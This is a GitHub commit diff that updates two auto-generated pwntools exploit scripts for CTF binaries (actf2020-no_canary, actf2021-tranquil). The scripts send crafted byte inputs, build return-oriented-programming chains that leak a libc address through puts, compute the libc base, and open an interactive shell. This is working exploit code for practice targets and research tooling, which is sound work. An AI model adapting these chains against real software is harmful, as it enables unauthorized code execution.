Skip to content

Commit 12a5f87

Browse files
committed
examples: updated generated exploit scripts.
Signed-off-by: Marco Wang <[email protected]>
1 parent d4c378a commit 12a5f87

File tree

2 files changed

+39
-57
lines changed

2 files changed

+39
-57
lines changed

examples/actf2020-no_canary/exploit_0.py

Lines changed: 38 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -106,100 +106,100 @@
106106
proc.recvrepeat(0.1)
107107

108108
# input state (offset = 1)
109-
proc.send(b'\x41')
109+
proc.send(b'\x80')
110110

111111
# input state (offset = 1)
112-
proc.send(b'\xfe')
112+
proc.send(b'\x00')
113113

114114
# input state (offset = 1)
115-
proc.send(b'\xef')
115+
proc.send(b'\x00')
116116

117117
# input state (offset = 1)
118-
proc.send(b'\x73')
118+
proc.send(b'\xb4')
119119

120120
# input state (offset = 1)
121-
proc.send(b'\x55')
121+
proc.send(b'\x00')
122122

123123
# input state (offset = 1)
124-
proc.send(b'\x07')
124+
proc.send(b'\xff')
125125

126126
# input state (offset = 1)
127-
proc.send(b'\xef')
127+
proc.send(b'\xfe')
128128

129129
# input state (offset = 1)
130-
proc.send(b'\xf9')
130+
proc.send(b'\x8b')
131131

132132
# input state (offset = 1)
133-
proc.send(b'\xea')
133+
proc.send(b'\x7d')
134134

135135
# input state (offset = 1)
136-
proc.send(b'\xbf')
136+
proc.send(b'\xf4')
137137

138138
# input state (offset = 1)
139-
proc.send(b'\xf2')
139+
proc.send(b'\x00')
140140

141141
# input state (offset = 1)
142-
proc.send(b'\xff')
142+
proc.send(b'\x02')
143143

144144
# input state (offset = 1)
145-
proc.send(b'\xfc')
145+
proc.send(b'\x92')
146146

147147
# input state (offset = 1)
148-
proc.send(b'\x00')
148+
proc.send(b'\xcc')
149149

150150
# input state (offset = 1)
151-
proc.send(b'\xfa')
151+
proc.send(b'\x00')
152152

153153
# input state (offset = 1)
154-
proc.send(b'\xdc')
154+
proc.send(b'\x51')
155155

156156
# input state (offset = 1)
157-
proc.send(b'\xf7')
157+
proc.send(b'\x00')
158158

159159
# input state (offset = 1)
160-
proc.send(b'\x00')
160+
proc.send(b'\x98')
161161

162162
# input state (offset = 1)
163-
proc.send(b'\x00')
163+
proc.send(b'\x94')
164164

165165
# input state (offset = 1)
166-
proc.send(b'\xf0')
166+
proc.send(b'\x7c')
167167

168168
# input state (offset = 1)
169-
proc.send(b'\xd9')
169+
proc.send(b'\xa8')
170170

171171
# input state (offset = 1)
172-
proc.send(b'\xf8')
172+
proc.send(b'\x00')
173173

174174
# input state (offset = 1)
175-
proc.send(b'\xf9')
175+
proc.send(b'\xda')
176176

177177
# input state (offset = 1)
178-
proc.send(b'\xaa')
178+
proc.send(b'\x00')
179179

180180
# input state (offset = 1)
181-
proc.send(b'\x8a')
181+
proc.send(b'\x02')
182182

183183
# input state (offset = 1)
184-
proc.send(b'\xff')
184+
proc.send(b'\x00')
185185

186186
# input state (offset = 1)
187-
proc.send(b'\xfa')
187+
proc.send(b'\x03')
188188

189189
# input state (offset = 1)
190-
proc.send(b'\xc1')
190+
proc.send(b'\x00')
191191

192192
# input state (offset = 1)
193-
proc.send(b'\xf9')
193+
proc.send(b'\x03')
194194

195195
# input state (offset = 1)
196196
proc.send(b'\x00')
197197

198198
# input state (offset = 1)
199-
proc.send(b'\x4a')
199+
proc.send(b'\x00')
200200

201201
# input state (offset = 1)
202-
proc.send(b'\x00')
202+
proc.send(b'\x03')
203203

204204
# input state (offset = 1)
205205
proc.send(b'\x00')
@@ -706,22 +706,22 @@
706706
proc.send(b'\x00')
707707

708708
# input state (offset = 1)
709-
proc.send(b'\x00')
709+
proc.send(b'\xe3')
710710

711711
# input state (offset = 1)
712-
proc.send(b'\x00')
712+
proc.send(b'\xeb')
713713

714714
# input state (offset = 1)
715-
proc.send(b'\x00')
715+
proc.send(b'\x03')
716716

717717
# input state (offset = 1)
718718
proc.send(b'\x00')
719719

720720
# input state (offset = 1)
721-
proc.send(b'\x02')
721+
proc.send(b'\xc7')
722722

723723
# input state (offset = 1)
724-
proc.send(b'\x80')
724+
proc.send(b'\x12')
725725

726726
# input state (offset = 1)
727727
proc.send(b'\x00')
@@ -738,7 +738,7 @@
738738
proc.recvrepeat(0)
739739
payload = p64(0x0)
740740
payload += p64(target_base + target_pop_rdi_ret)
741-
payload += p64(target_base + target.got['getegid'])
741+
payload += p64(target_base + target.got['__libc_start_main'])
742742
payload += p64(target_base + target.sym['puts'])
743743
payload += p64(target_base + __libc_csu_init_gadget1)
744744
payload += p64(0x4141414141414141)
@@ -761,7 +761,7 @@
761761
time.sleep(0.2)
762762

763763
leaked = u64(proc.recv(6).ljust(8, b'\x00'))
764-
libc_2_24_so_base = leaked - 0xb8f60
764+
libc_2_24_so_base = leaked - 0x201f0
765765
log.info('leaked libc base: {}'.format(hex(libc_2_24_so_base)))
766766

767767
payload = p64(libc_2_24_so_base + libc_2_24_so_pop_rax_ret)

examples/actf2021-tranquil/exploit_0.py

Lines changed: 1 addition & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -26,19 +26,7 @@
2626

2727
if __name__ == '__main__':
2828
proc = process(['./ld-2.24.so', './target'], env={'LD_PRELOAD': './libc-2.24.so'})
29-
30-
# output state
31-
proc.recvrepeat(0.1)
32-
33-
# output state
34-
proc.recvrepeat(0.1)
35-
36-
# input state (offset = 4096)
37-
proc.send(b'\xa8\x80\x80\x02\x10\x00\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\x13\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x80\x48\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x2e\x40\x00\x00\x00\x00\x00\x70\x13\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x11\x40\x00\x00\x00\x00\x00\xfd\x11\x40\x00\x00\x00\x00\x00\x80\x48\x40\x00\x00\x00\x00\x00\x86\x12\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x8a\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x8a\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
38-
39-
# input state (offset = 4096)
40-
# input state (rop chain begin)
41-
payload = b''[512:]
29+
payload = b'\xac\x02\x00\x40\x02\x10\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\x13\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x80\x48\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x2e\x40\x00\x00\x00\x00\x00\x70\x13\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x11\x40\x00\x00\x00\x00\x00\xfd\x11\x40\x00\x00\x00\x00\x00\x80\x48\x40\x00\x00\x00\x00\x00\x86\x12\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
4230
proc.sendline(payload)
4331
time.sleep(0.2)
4432

@@ -83,10 +71,4 @@
8371
proc.sendline(payload)
8472
time.sleep(0.2)
8573

86-
87-
# output state
88-
proc.recvrepeat(0.1)
89-
90-
# output state
91-
proc.recvrepeat(0.1)
9274
proc.interactive()

0 commit comments

Comments
 (0)